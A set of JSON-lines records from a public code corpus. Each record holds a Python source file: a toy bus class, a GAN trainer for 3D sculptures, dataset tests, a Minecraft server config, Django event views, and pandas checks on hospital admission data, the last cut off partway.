+{"seq_id":"23994752063","text":"class Bus:\n    bus_list = []\n\n    def __init__(self, number, route, driver):\n        self.number = number\n        self.route = route\n        self.driver = driver\n        Bus.bus_list.append(self)\n\n    def print_info(self):\n        for bus in Bus.bus_list:\n            if bus == self:\n                print(f\"Bus Number is {bus.number} Bus Route is \"\n                      f\"{bus.route} and Bus Driver is {bus.driver}\")\n\n\nb1 = Bus(\"01189998819991197253\", \"Y\", \"Greg\")\nb2 = Bus(\"3.141592653589793238462643383279502\", \"80\", \"Carl\")\nb3 = Bus(\"5.71828182845904543\", \"B\", \"Bob\")\n\nfor bus in range(len(Bus.bus_list)):\n    Bus.print_info(Bus.bus_list[bus])\n","repo_name":"ShrikeKmF/12DTCJono","sub_path":"bus.py","file_name":"bus.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73316217652","text":"import matplotlib.pyplot as plt\nfrom IPython import display\nimport time\nimport warnings\nimport re\n\nwarnings.filterwarnings(\"ignore\")\n\nfrom colorama import Fore, Style\nimport os\nimport numpy as np\nfrom google.cloud import storage\n\nfrom tensorflow.data import Dataset\nfrom tensorflow import GradientTape, function, Variable\nfrom tensorflow.random import normal\nfrom tensorflow.train import Checkpoint, CheckpointManager\n\nfrom deepSculpt.manager.manager import Manager\nfrom deepSculpt.trainer.tools.losses import discriminator_loss, generator_loss\n\nfrom deepSculpt.trainer.tools.simple_model import (\n    tridimensional_simple_discriminator,\n    tridimensional_simple_generator,\n)\n\nfrom deepSculpt.trainer.tools.complex_model import (\n    tridimensional_complex_discriminator,\n    tridimensional_complex_generator,\n)\n\nfrom deepSculpt.trainer.tools.skip_model import (\n    tridimensional_skip_connection_discriminator,\n    tridimensional_skip_connection_generator,\n)\n\nfrom deepSculpt.trainer.tools.monochrome_model import (\n    tridimensional_monochrome_discriminator,\n    tridimensional_monochrome_generator,\n)\n\nfrom deepSculpt.trainer.tools.optimizers import (\n    generator_optimizer,\n    discriminator_optimizer,\n)\nfrom deepSculpt.manager.tools.snapshots import (\n    generate_and_save_snapshot,\n    upload_snapshot_to_gcp,\n)\nfrom deepSculpt.manager.tools.checkpoint import (\n    generate_and_save_checkpoint,\n    load_model_from_cgp,\n)\nfrom deepSculpt.manager.tools.params import SEED, MINIBATCHES\nfrom deepSculpt.curator.curator import Curator\n\nif os.environ.get(\"COLOR\") == 0:  # MONOCHROME\n    pass\n\nif int(os.environ.get(\"COLOR\")) == 1:  # COLOR\n\n    # Loads and process data\n    curator = Curator(processing_method=\"OHE\")\n\n    # Initiates the Generator\n\n    generator = tridimensional_skip_connection_generator()\n\n    import tensorflow as tf\n\n    def add_regularization(model):\n        for layer in model.layers:\n            if isinstance(layer, tf.keras.layers.Conv3DTranspose):\n                dropout_layer = tf.keras.Sequential([tf.keras.layers.Dropout(0.3)])\n                layer = tf.keras.Sequential([layer, dropout_layer])\n        return model\n\n    generator = add_regularization(generator)\n\n    generator.compile()\n\n    print(\"\\n ❎ \" + Fore.RED + \"The Generators summary is\" + Fore.YELLOW + \"\\n \")\n\n    print(generator.summary())\n\n    # Initiates the Discriminator\n\n    discriminator = tridimensional_skip_connection_discriminator()\n\n    discriminator.compile()\n\n    print(\"\\n ❎ \" + Fore.RED + \"The Discriminators summary is\" + Fore.YELLOW + \"\\n \")\n\n    print(discriminator.summary())\n\n    print(Style.RESET_ALL)\n\n    ## Path local instance enviroment on COMPUTER\n\n    if int(os.environ.get(\"INSTANCE\")) == 0:\n\n        checkpoint_dir = os.path.join(\n            os.environ.get(\"HOME\"),\n            \"code\",\n            \"juan-garassino\",\n            \"deepSculpt\",\n            \"results\",\n            \"checkpoints\",\n        )\n\n        Manager.make_directory(checkpoint_dir)\n\n    ## Path local instance eviroment on COLAB\n\n    if int(os.environ.get(\"INSTANCE\")) == 1:\n\n        checkpoint_dir = os.path.join(\n            os.environ.get(\"HOME\"),\n            \"..\",\n            \"content\",\n            \"drive\",\n            \"MyDrive\",\n            \"repositories\",\n            \"deepSculpt\",\n            \"results\",\n            \"checkpoints\",\n        )\n\n        Manager.make_directory(checkpoint_dir)\n\n    ## Path cloud instance enviroment in GCP\n\n    if int(os.environ.get(\"INSTANCE\")) == 2:\n\n        checkpoint_dir = \"gs://deepsculpt/checkpoints\"\n\n        bucket = storage.Client().bucket(os.environ.get(\"BUCKET_NAME\"))\n\n    # Initiates a Checkpoint Object\n\n    checkpoint = Checkpoint(\n        step=Variable(1),\n        generator_optimizer=generator_optimizer,\n        discriminator_optimizer=discriminator_optimizer,\n        generator=generator,\n        discriminator=discriminator,\n    )\n\n    # Initiates a Checkpoint Manager Object\n\n    manager = CheckpointManager(\n        checkpoint=checkpoint,\n        directory=checkpoint_dir,\n        max_to_keep=3,\n        checkpoint_name=\"checkpoint\",\n    )\n\n\n\"\"\"@function  # Notice the use of \"tf.function\" This annotation causes the function to be \"compiled\"\ndef train_step(images):  # train for just ONE STEP aka one forward and back propagation\n\n    with GradientTape() as gen_tape, GradientTape() as disc_tape:  # get the gradient for each parameter for this step\n        generated_images = generator(SEED, training=True)  # iterates over the noises\n\n        real_output = discriminator(\n            images, training=True\n        )  # trains discriminator based on labeled real pics\n        fake_output = discriminator(\n            generated_images, training=True\n        )  # trains discriminator based on labeled generated pics\n        # why it doesnt traing all at ones\n\n        gen_loss = generator_loss(\n            fake_output\n        )  # calculating the generator loss function previously defined\n        disc_loss = discriminator_loss(\n            real_output, fake_output\n        )  # calculating the descrim loss function previously defined\n\n    # print(f\"gen loss : {gen_loss}\")\n    # print(f\"gen loss : {disc_loss}\")\n\n    gradients_of_generator = gen_tape.gradient(gen_loss, generator.trainable_variables)\n    # saving the gradients of each trainable variable of the generator\n\n    gradients_of_discriminator = disc_tape.gradient(\n        disc_loss, discriminator.trainable_variables\n    )\n    # saving the gradients of each trainable variable of the discriminator\n\n    generator_optimizer.apply_gradients(\n        zip(gradients_of_generator, generator.trainable_variables)\n    )\n    # applying the gradients on the trainable variables of the generator to update the parameters\n    discriminator_optimizer.apply_gradients(\n        zip(gradients_of_discriminator, discriminator.trainable_variables)\n    )\n    # applying the gradients on the trainable variables of the generator to update the parameters\"\"\"\n\n\n\"\"\"@function\ndef train_step(images, gen_steps=1, disc_steps=1):\n    for i in range(gen_steps):\n        with GradientTape() as gen_tape:\n            generated_images = generator(SEED, training=True)\n            fake_output = discriminator(generated_images, training=True)\n            gen_loss = generator_loss(fake_output)\n        gradients_of_generator = gen_tape.gradient(\n            gen_loss, generator.trainable_variables\n        )\n        generator_optimizer.apply_gradients(\n            zip(gradients_of_generator, generator.trainable_variables)\n        )\n    for i in range(disc_steps):\n        with GradientTape() as disc_tape:\n            real_output = discriminator(images, training=True)\n            fake_output = discriminator(generated_images, training=True)\n            disc_loss = discriminator_loss(real_output, fake_output)\n        gradients_of_discriminator = disc_tape.gradient(\n            disc_loss, discriminator.trainable_variables\n        )\n        discriminator_optimizer.apply_gradients(\n            zip(gradients_of_discriminator, discriminator.trainable_variables)\n        )\"\"\"\n\n\ndef trainer(\n    collection_folder,\n    data_date,\n    # n_minibatches,\n    n_epochs,\n):  # load checkpoint, checkpoint + manager\n\n    if int(os.environ.get(\"INSTANCE\")) == 2:\n        load_model_from_cgp(checkpoint, manager)\n\n    if manager.latest_checkpoint:\n        print(\n            \"\\n 🔽 \"\n            + Fore.YELLOW\n            + \"Restored from {}...\".format(manager.latest_checkpoint)\n            + Style.RESET_ALL\n        )\n    else:\n        print(\"\\n ✅ \" + Fore.GREEN + \"Initializing from scratch\" + Style.RESET_ALL)\n\n    for epoch in range(n_epochs):\n\n        start = time.time()\n\n        print(\"\\n ⏩ \" + Fore.RED + \"Epoch number %d\" % (epoch + 1,) + Style.RESET_ALL)\n\n        chunk_files = [\n            f\n            for f in os.listdir(collection_folder)\n            if os.path.isfile(os.path.join(collection_folder, f))\n        ]\n\n        for index in range(len(chunk_files) // 2):\n\n            print(\n                \"\\n ⏩ \"\n                + Fore.RED\n                + \"Chunk number %d Epoch number %d\" % (index + 1, epoch + 1)\n                + Style.RESET_ALL\n            )\n\n            if int(os.environ.get(\"INSTANCE\")) == 0:\n\n                root_path = os.path.join(\n                    os.environ.get(\"HOME\"),\n                    \"code\",\n                    \"juan-garassino\",\n                    \"deepSculpt\",\n                    \"data\",\n                )\n\n                path_volumes = (\n                    f\"{root_path}/volume_data[{data_date}]chunk[{index + 1}].npy\"\n                )\n\n                path_materials = (\n                    f\"{root_path}/material_data[{data_date}]chunk[{index + 1}].npy\"\n                )\n\n            if int(os.environ.get(\"INSTANCE\")) == 1:\n\n                root_path = os.path.join(\n                    os.environ.get(\"HOME\"),\n                    \"..\",\n                    \"content\",\n                    \"drive\",\n                    \"MyDrive\",\n                    \"repositories\",\n                    \"deepSculpt\",\n                    \"data\",\n                )\n\n                path_volumes = (\n                    f\"{root_path}/volume_data[{data_date}]chunk[{index + 1}].npy\"\n                )\n\n                path_materials = (\n                    f\"{root_path}/material_data[{data_date}]chunk[{index + 1}].npy\"\n                )\n\n            print(\n                \"\\n ✅ \" + Fore.GREEN + f\"Volumes Path: {path_volumes}\" + Style.RESET_ALL\n            )\n\n            print(\n                \"\\n ✅ \"\n                + Fore.GREEN\n                + f\"Materials Path: {path_materials}\"\n                + Style.RESET_ALL\n            )\n\n            (\n                chunk_sculpts,\n                preprocessing_class_o,\n            ) = curator.preprocess_collection_minibatch(path_volumes, path_materials)\n\n            for index, sculpts_batch in enumerate(chunk_sculpts):\n\n                noise = normal(\n                    [\n                        int(os.environ.get(\"MINIBATCH_SIZE\")),\n                        int(os.environ.get(\"NOISE_DIM\")),\n                    ]\n                )\n\n                with GradientTape() as gen_tape, GradientTape() as disc_tape:  # get the gradient for each parameter for this step\n                    generated_images = generator(\n                        noise, training=True\n                    )  # iterates over the noises\n\n                    real_output = discriminator(\n                        sculpts_batch, training=True\n                    )  # trains discriminator based on labeled real pics\n                    fake_output = discriminator(\n                        generated_images, training=True\n                    )  # trains discriminator based on labeled generated pics\n                    # why it doesnt traing all at ones\n\n                    gen_loss = generator_loss(\n                        fake_output\n                    )  # calculating the generator loss function previously defined\n                    disc_loss = discriminator_loss(\n                        real_output, fake_output\n                    )  # calculating the descrim loss function previously defined\n\n                print(\n                    \"\\n ⏩ \"\n                    + Fore.RED\n                    + f\"Iteartion number {index} of minibatches [ {' | '.join([num.zfill(3) for num in [str(batch) for batch in MINIBATCHES]])} ]\"\n                    + Style.RESET_ALL\n                )\n\n                if (index + 1) % MINIBATCHES[index]:\n                    minibatch_start = time.time()\n\n                    print(\n                        \"\\n ⏩ \"\n                        + Fore.MAGENTA\n                        + f\"Minibatch number {index + 1} epoch {epoch + 1}\"\n                        + Style.RESET_ALL\n                    )\n\n                    print(\n                        \"\\n 📶 \"\n                        + Fore.CYAN\n                        + \"Discriminator Loss: {:.4f}, Generator Loss: {:.4f}\".format(\n                            disc_loss, gen_loss\n                        )\n                        + Style.RESET_ALL\n                    )\n\n                    print(\n                        \"\\n 📶 \"\n                        + Fore.MAGENTA\n                        + \"Time for minibatches between {} and {} is {} sec\".format(\n                            (index * int(os.environ.get(\"MINIBATCH_SIZE\"))),\n                            ((index + 1) * int(os.environ.get(\"MINIBATCH_SIZE\"))),\n                            time.time() - minibatch_start,\n                        )\n                        + Style.RESET_ALL\n                    )\n\n                gradients_of_generator = gen_tape.gradient(\n                    gen_loss, generator.trainable_variables\n                )\n                # saving the gradients of each trainable variable of the generator\n                gradients_of_discriminator = disc_tape.gradient(\n                    disc_loss, discriminator.trainable_variables\n                )\n                # saving the gradients of each trainable variable of the discriminator\n\n                generator_optimizer.apply_gradients(\n                    zip(gradients_of_generator, generator.trainable_variables)\n                )\n                # applying the gradients on the trainable variables of the generator to update the parameters\n                discriminator_optimizer.apply_gradients(\n                    zip(gradients_of_discriminator, discriminator.trainable_variables)\n                )\n                # applying the gradients on the trainable variables of the generator to update the parameters\n\n        # Produce images\n        display.clear_output(wait=True)  # clearing output !!!TO BE CHECKED!!!\n        # generate_and_save_images(generator, epoch + 1, seed)\n\n        # Saves checkpoint and snapshots locally\n        if int(os.environ.get(\"INSTANCE\")) == 0:\n\n            if (epoch + 1) % int(os.environ.get(\"MODEL_CHECKPOINT\")) == 0:\n\n                out_dir = os.path.join(\n                    os.environ.get(\"HOME\"),\n                    \"code\",\n                    \"juan-garassino\",\n                    \"deepSculpt\",\n                    \"results\",\n                    \"checkpoints\",\n                )\n\n                save_path = manager.save()\n\n                print(\n                    \"\\n 🔼 \"\n                    + Fore.BLUE\n                    + \"Saved checkpoint for step {}: {}\".format(\n                        int(checkpoint.step), save_path\n                    )\n                    + Style.RESET_ALL\n                )\n\n                checkpoint.step.assign_add(1)\n\n                out_dir = os.path.join(\n                    os.environ.get(\"HOME\"),\n                    \"code\",\n                    \"juan-garassino\",\n                    \"deepSculpt\",\n                    \"results\",\n                    \"network\",\n                )\n\n                generator.save(out_dir)\n\n                metrics = {}\n\n                params = {}\n\n                # Save the checkpoint mlfow\n                Manager.save_mlflow_model(metrics=metrics, params=params, model=None)\n\n                print(\n                    \"\\n 🔼 \"\n                    + Fore.BLUE\n                    + \"Saved checkpoint for step {}: mlfow\".format(int(checkpoint.step))\n                    + Style.RESET_ALL\n                )\n\n            if (epoch + 1) % int(os.environ.get(\"PICTURE_SNAPSHOT\")) == 0:\n\n                out_dir = os.path.join(\n                    os.environ.get(\"HOME\"),\n                    \"code\",\n                    \"juan-garassino\",\n                    \"deepSculpt\",\n                    \"results\",\n                    \"snapshots\",\n                )\n\n                generate_and_save_snapshot(\n                    generator, epoch + 1, preprocessing_class_o, SEED, out_dir\n                )\n\n        # Saves Checkpoint and snapshot to COLAB\n        if int(os.environ.get(\"INSTANCE\")) == 1:\n\n            # Save the checkpoint\n            if (epoch + 1) % int(os.environ.get(\"MODEL_CHECKPOINT\")) == 0:\n\n                out_dir = os.path.join(\n                    os.environ.get(\"HOME\"),\n                    \"..\",\n                    \"content\",\n                    \"drive\",\n                    \"MyDrive\",\n                    \"repositories\",\n                    \"deepSculpt\",\n                    \"results\",\n                    \"checkpoints\",\n                )\n\n                save_path = manager.save()\n\n                print(\n                    \"\\n 🔼 \"\n                    + Fore.BLUE\n                    + \"Saved checkpoint for step {}: {}\".format(\n                        int(checkpoint.step), save_path\n                    )\n                    + Style.RESET_ALL\n                )\n\n                checkpoint.step.assign_add(1)\n\n                out_dir = os.path.join(\n                    os.environ.get(\"HOME\"),\n                    \"..\",\n                    \"content\",\n                    \"drive\",\n                    \"MyDrive\",\n                    \"repositories\",\n                    \"deepSculpt\",\n                    \"results\",\n                    \"network\",\n                )\n\n                generator.save(out_dir)\n\n                metrics = {}\n\n                params = {}\n\n                # Save the checkpoint mlfow\n                Manager.save_mlflow_model(metrics=metrics, params=params, model=None)\n\n                print(\n                    \"\\n 🔼 \"\n                    + Fore.BLUE\n                    + \"Saved checkpoint for step {}: mlfow\".format(int(checkpoint.step))\n                    + Style.RESET_ALL\n                )\n\n            if (epoch + 1) % int(os.environ.get(\"PICTURE_SNAPSHOT\")) == 0:\n\n                out_dir = os.path.join(\n                    os.environ.get(\"HOME\"),\n                    \"..\",\n                    \"content\",\n                    \"drive\",\n                    \"MyDrive\",\n                    \"repositories\",\n                    \"deepSculpt\",\n                    \"results\",\n                    \"snapshots\",\n                )\n\n                generate_and_save_snapshot(\n                    generator,\n                    epoch + 1,\n                    preprocessing_class_o,\n                    SEED,\n                    out_dir,\n                    hide_axis=False,\n                )\n\n                out_dir = os.path.join(\n                    os.environ.get(\"HOME\"),\n                    \"..\",\n                    \"content\",\n                    \"results\",\n                    \"deepSculpt\",\n                    \"predictions\",\n                )\n\n                Manager.make_directory(out_dir)\n\n                generate_and_save_snapshot(\n                    generator, epoch + 1, preprocessing_class_o, SEED, out_dir\n                )\n\n                snapshot_name = \"{}/image_at_epoch_{:04d}.png\".format(out_dir, epoch)\n\n                plt.savefig(snapshot_name)\n\n                print(\n                    \"\\n 🔽 \"\n                    + Fore.BLUE\n                    + f\"Just created a snapshot {snapshot_name.split('/')[-1]} @ {out_dir}\"\n                    + Style.RESET_ALL\n                )\n\n                if int(os.environ.get(\"INSTANCE\")) == 0:\n                    upload_snapshot_to_gcp(snapshot_name)\n\n        # Saves checkpoint and snapshots to GCP\n        if int(os.environ.get(\"INSTANCE\")) == 2:\n            # Save the model every 15 epochs\n            if (epoch + 1) % int(os.environ.get(\"MODEL_CHECKPOINT\")) == 0:\n                generate_and_save_checkpoint(\n                    checkpoint, manager, bucket\n                )  # saving weights and biases previously calculated by the train step gradients\n            if (epoch + 1) % int(os.environ.get(\"PICTURE_SNAPSHOT\")) == 0:\n                generate_and_save_snapshot(\n                    generator, epoch + 1, preprocessing_class_o, SEED\n                )\n\n        # Saves checkpoint and snapshots to MLFOW\n        if int(os.environ.get(\"INSTANCE\")) == 2:\n            print(\"to MLFLOW\")\n\n        print(\n            \"\\n 📶 \"\n            + Fore.MAGENTA\n            + \"Time for epoch {} is {} sec\".format(epoch + 1, time.time() - start)\n            + Style.RESET_ALL\n        )\n\n        plt.close(\"all\")\n\n    # Generate after the final epoch\n    display.clear_output(wait=True)\n    # generate_and_save_images(generator, epochs, seed)\n\n\nif __name__ == \"__main__\":\n\n    if int(os.environ.get(\"INSTANCE\")) == 0:\n\n        collection_folder = os.path.join(\n            os.environ.get(\"HOME\"), \"code\", \"juan-garassino\", \"deepSculpt\", \"data\"\n        )\n\n    if int(os.environ.get(\"INSTANCE\")) == 1:\n        collection_folder = os.path.join(\n            os.environ.get(\"HOME\"),\n            \"..\",\n            \"content\",\n            \"drive\",\n            \"MyDrive\",\n            \"repositories\",\n            \"deepSculpt\",\n            \"data\",\n        )\n\n    curator = Curator(processing_method=\"OHE\")\n\n    template = [\n        f\n        for f in os.listdir(collection_folder)\n        if os.path.isfile(os.path.join(collection_folder, f))\n    ][0]\n\n    date = re.search(r\"\\[(\\d{4}-\\d{2}-\\d{2})\\]\", template).group(1)\n\n    trainer(\n        collection_folder,\n        date,\n        # curator,\n        int(os.environ.get(\"EPOCHS\")),\n    )\n","repo_name":"juan-garassino/deepSculpt","sub_path":"deepSculpt/trainer/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":21190,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"27191997291","text":"# -*- coding: utf-8 -*-\nimport os\nfrom pathlib import Path\nfrom providence.utils.datasets.backblaze import make_serial_subsets\nfrom typing import List\n\nimport numpy as np\nimport pytest\nimport torch\nfrom providence.utils import datasets\n\n\nclass TestNasaDataSet:\n    def test___init__(self):\n        data = datasets.NasaDataSet(train=True)\n\n        assert len(data.stddev) == 24\n        assert len(data.mean) == 24\n\n    def test_train(self, nasa_train):\n        got_rul = nasa_train.validation_rul\n        want_rul = None\n\n        got_len = len(nasa_train)\n        want_len = 709\n\n        assert got_len == want_len\n        assert got_rul is None\n\n    def test_test(self, nasa_test):\n        got_rul = len(nasa_test.validation_rul)\n        want_rul = 707\n\n        got_len = len(nasa_test)\n        want_len = 707\n\n        assert got_len == want_len\n        assert got_rul == want_rul\n\n    def test__read_data(self, nasa_train):\n        got_train = nasa_train._read_data(\"train\", 1).shape\n        got_test = nasa_train._read_data(\"test\", 1).shape\n        got_rul = nasa_train._read_data(\"RUL\", 1).shape\n\n        assert got_train == (20631, 26)\n        assert got_test == (13096, 26)\n        assert got_rul == (100,)\n\n    def test__format_data(self, nasa_train):\n        raw_data = nasa_train._read_data(\"train\", 1)\n\n        # Only test the first row in array to keep the size of the test small\n        got = nasa_train._format_feature_data(raw_data).iloc[0, :].values\n\n        want_array = np.array(\n            [\n                1.00100e03,\n                1.00000e00,\n                -7.00000e-04,\n                -4.00000e-04,\n                1.00000e02,\n                5.18670e02,\n                6.41820e02,\n                1.58970e03,\n                1.40060e03,\n                1.46200e01,\n                2.16100e01,\n                5.54360e02,\n                2.38806e03,\n                9.04619e03,\n                1.30000e00,\n                4.74700e01,\n                5.21660e02,\n                2.38802e03,\n                8.13862e03,\n                8.41950e00,\n                3.00000e-02,\n                3.92000e02,\n                2.38800e03,\n                1.00000e02,\n                3.90600e01,\n                2.34190e01,\n            ]\n        )\n\n        np.testing.assert_allclose(got, want_array)\n\n    def test__getitem__(self, nasa_test):\n        features, target = nasa_test[0]\n\n        got_target_sum = torch.sum(target, dim=0)\n        want_target_sum = torch.Tensor([3968.0, 31.0])\n\n        got_feature_sum = torch.sum(features, dim=0)\n        want_feature_sum = torch.Tensor(\n            [\n                -32.3037,\n                -34.5655,\n                10.7111,\n                33.4719,\n                32.8841,\n                31.3850,\n                32.3561,\n                34.3599,\n                34.5897,\n                34.6415,\n                24.8771,\n                30.9847,\n                31.9797,\n                28.4807,\n                34.6187,\n                10.7037,\n                16.9500,\n                -26.2570,\n                30.2205,\n                31.2972,\n                24.8641,\n                10.7111,\n                34.5449,\n                34.5090,\n            ]\n        )\n        # rather than explicitly testing for tensor equality we're going\n        # to reduce them into a 1D tensor via sum\n        assert torch.allclose(got_target_sum, want_target_sum)\n        assert torch.allclose(got_feature_sum, want_feature_sum)\n\n    def test__prep_features(self, nasa_train):\n        _, engine_data = nasa_train.data[0]\n        got = nasa_train._prep_features(engine_data.values)\n\n        assert got.shape[1] == 24\n\n\n@pytest.mark.download_test\nclass TestBackblazeDataset:\n    @pytest.fixture\n    def backblaze_train(self):\n        return datasets.BackblazeDataset(train=True, download=True, use_feather=True)\n\n    def test___init___no_download(self):\n        try:\n            ds = datasets.BackblazeDataset(train=True, download=False, prepare=False)\n            assert ds is not None, \"Instantiating successful\"\n        except FileNotFoundError:\n            assert True, \"Test failed as expected: this test is leaky to the file system\"\n            # more: designing a work around would demand working the implementation to not only fail when a file is not found,\n            # but also with empty temp files in place\n            # In reality, if you instantiate without downloading that should fail.\n            # It would be additional engineering effort to refactor the internals to be configurable such that this test\n            # passes, while not making the code opaque. It is more useful to articulate the opinions of the codebase\n            # internally, rather that be so generic that useful functionality and expectations aren't discernable.\n\n    def test___init___with_download(self, backblaze_train: datasets.BackblazeDataset):\n        ds = backblaze_train\n        assert len(np.shape(ds.data)) == 2, \"Should have dataset of serial to two aggregate stats\"\n\n        np.shape(ds.min) == (len(ds.numerical_features))\n        np.shape(ds.max) == (len(ds.numerical_features))\n\n    def test_make_serial_subsets__default_case(self):\n        numbers = list(range(5))\n        l = make_serial_subsets(numbers, [5])\n        assert len(l[0]) == len(numbers), \"Should have the same length as the source list\"\n        assert set(l[0]) == set(numbers), \"Should have withdrawn everything that there was to choose\"\n\n    def test_make_serial_subsets__default_case_handling_strings(self):\n        numbers = [f\"frogs times {i}\" for i in range(5)]\n        l = make_serial_subsets(numbers, [5])\n        assert len(l[0]) == len(numbers), \"Should have the same length as the source list\"\n        assert set(l[0]) == set(numbers), \"Should have withdrawn everything that there was to choose\"\n\n    def test__get_item__(self, backblaze_train: datasets.BackblazeDataset):\n        features, targets = backblaze_train[0]\n        features.size()[0] == len(datasets.BackblazeDataset.numerical_features)\n\n        features_2, targets_2 = backblaze_train[0]\n        assert torch.allclose(features, features_2), \"__get_item__ should be idempotent\"\n        assert torch.allclose(targets, targets_2), \"__get_item__ should be idempotent\"\n\n    def test_batchability(self, backblaze_train: datasets.BackblazeDataset) -> None:\n        from torch.utils.data import DataLoader\n\n        test_bs = 1\n        features_1, targets_1 = next(iter(DataLoader(backblaze_train, batch_size=test_bs)))\n        assert features_1.shape[0] == test_bs, \"Should be able to construct a batch of one\"\n\n        max_time_steps = 92  # the maximum number of days in a three month period. This is a quarterly dataset.\n        test_bs = 32\n        features, sequence_lengths, targets = next(iter(datasets.ProvidenceDataLoader(backblaze_train, batch_size=test_bs)))\n        assert features.size() == torch.Size(\n            [max_time_steps, test_bs, len(datasets.BackblazeDataset.numerical_features)]\n        ), \"Should be able to construct a trainable, time-ordered batch\"\n","repo_name":"rtx-corp-open-source/providence","sub_path":"tests/test_datasets.py","file_name":"test_datasets.py","file_ext":"py","file_size_in_byte":7085,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"}
+{"seq_id":"6113253958","text":"#####################################\n#these are the server settings for  #\n#your Minecraft Clasic Server  made #\n#with yserv                         #\n#yserv is made by arydev            #\n#####################################\n\n#name of your server (dont use spaces)\nNAME=\"name\"\n#motd the moto of the server\nMOTD=\"this is my server\"\n#port of the server\nPORT=25565\n#max players \nMAX=20\n#public if the server is public or not (is showed in the server list)\nPUBLIC=True\n#salt (a random text)\nSALT='wo6kVAHjxoJcInKxjdj'\n\n##other thinghs cooming soon","repo_name":"arydevy/yserv","sub_path":"packs/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"21180603094","text":"from django.shortcuts import render\nfrom django.shortcuts import get_object_or_404\nfrom .models import Event\nfrom .forms import EventForm\nfrom django.contrib import messages\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.decorators import login_required\n\n\ndef event_list(request):\n    events = Event.objects.filter(active=True)\n    return render(request, 'event/list.html',\n                {'events': events})\n\ndef event_detail(request, slug):\n    event = get_object_or_404(Event, slug=slug)\n    return render(request, 'event/detail.html',\n                {'event': event})\n\n@login_required(login_url='/account/login/')\ndef event_add(request):\n    if request.method == 'POST':\n        event_add = EventForm(request.POST, request.FILES)\n        if event_add.is_valid():\n            new_event = event_add.save(commit=False)\n            new_event.author = request.user\n            new_event.save()\n            event_add.save_m2m()\n            messages.success(request, 'Wydarzenie zostało przesłane. Pojawi się po akceptacji moderatora.')\n        else:\n            messages.error(request, 'Błąd! Sprawdź czy wypełniłeś/aś poprawnie wszystkie pola.')\n    else:\n        event_add = EventForm()\n\n    return render(request, 'event/add.html',\n                {'event_add': event_add})","repo_name":"maciejurm/zyjswiadomieeuv3","sub_path":"events/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"41338370873","text":"#!/usr/bin/env python3\n\"\"\"\nTest file to check data has been correctly processed\n\"\"\"\nimport pandas as pd\nfrom tqdm import tqdm\n\ntqdm.pandas()\n\ndef test_entrance_before_exit(entrance: pd.Series, exit: pd.Series) -> bool:\n    \"\"\"Check entrance times are NOT observed after Exit times, or both values are missing\"\"\"\n\n    diff = (exit - entrance).dt.total_seconds()  # Difference in seconds\n    missing = exit.isna() & entrance.isna()  # bool indicating both values are missing\n\n    return (diff.ge(0) | missing).all()\n\n\ndef test_exit_before_next_entrance(cur_exit: pd.Series, next_entrance: pd.Series) -> bool:\n    \"\"\"Check exit of current admission is observed before entrance to consequent admission, or next is missing\"\"\"\n\n    diff = (next_entrance - cur_exit).dt.total_seconds()  # Difference in seconds\n    missing = next_entrance.isna()   # bool indicating next admission is missing\n\n    return (diff.ge(0) | missing).all()\n\n\ndef test_time_before_death(exit: pd.Series, death: pd.Series) -> bool:\n    \"\"\"Check admission occurs before exit, or one of the values is missing\"\"\"\n\n    diff = (death - exit.astype(\"datetime64[D]\")).dt.total_seconds()  # Difference in seconds\n    missing = exit.isna() | death.isna()  # bool indicating both values are missing\n\n    return (diff.ge(0) | missing).all()\n\n\ndef test_is_unique_ids(df: pd.DataFrame, *args) -> bool:\n    \"\"\"Check whether there are any duplicate values across all id columns\"\"\"\n    output = True\n\n    for arg in args:  # Iterate through each column\n        has_repeated = df[arg].dropna().duplicated().sum() > 0\n        if has_repeated:\n            print(f\"There are duplicate values for id {arg}\")\n\n        output = output and not has_repeated\n\n    return output\n\n\ndef test_is_complete_ids(df: pd.DataFrame, *args) -> bool:\n    \"\"\"Check no missing values across id columns\"\"\"\n    output = True\n\n    for arg in args:  # Iterate through each column\n        has_missing = df[arg].isna().sum() > 0\n        if has_missing:\n            print(f\"There are missing values values for id {arg}\")\n\n        output = output and not has_missing\n\n    return output\n\n\ndef admissions_processed_correctly(df: pd.DataFrame):\n    \"\"\"\n    Function to check intermediate processing of admissions is correct. The following are done:\n    1. Entrance times for ED and subsequent admissions occur prior to exit.\n    2. Entrance Time for consequent admissions (when exist) do not take place after ED Exit time.\n    2. Identifiers are unique.\n    3. Subject and Stay id and ED times are complete.\n    \"\"\"\n\n    # Within admission time check\n    assert test_entrance_before_exit(df[\"intime\"], df[\"outtime\"])\n    assert test_entrance_before_exit(df[\"next_intime\"], df[\"next_outtime\"])\n\n    # Between consequent admission time check\n    assert test_exit_before_next_entrance(df[\"outtime\"], df[\"next_intime\"])\n\n    # Check Death observed any admission times\n    assert test_time_before_death(df[\"outtime\"], df[\"dod\"])\n    assert test_time_before_death(df[\"next_intime\"], df[\"dod\"])\n\n    # Uniqueness of main.py id columns\n    assert test_is_unique_ids(df, \"subject_id\", \"hadm_id\", \"stay_id\", \"next_transfer_id\")\n\n    # Completeness of id columns\n    assert test_is_complete_ids(df, \"subject_id\", \"stay_id\", \"intime\", \"outtime\")\n\n    print(\"Admissions correctly computed! Safe to go ahead.\")\n\n\ndef vitals_processed_correctly(df: pd.DataFrame):\n    \"\"\"\n    Function to check intermediate processing of vitals is correct. The following are done:\n    1. Intime before Outtime\n    2. Time to End Max/Min fall within intime/outtime ED time.\n    3. Sampled Time to End falls within intime/outtime ED time.\n    4. Identifiers are complete.\n    \"\"\"\n\n    # Intime before Outtime\n    assert test_entrance_before_exit(df[\"intime\"], df[\"outtime\"])\n\n    # Time to End within intime/outtime\n    assert test_entrance_before_exit(df[\"outtime\"] - df[\"time_to_end_min\"], df[\"outtime\"])\n    assert test_time_before_death(df[\"intime\"], df[\"outtime\"] - df[\"time_to_end_max\"])\n\n    # Similar to sampled 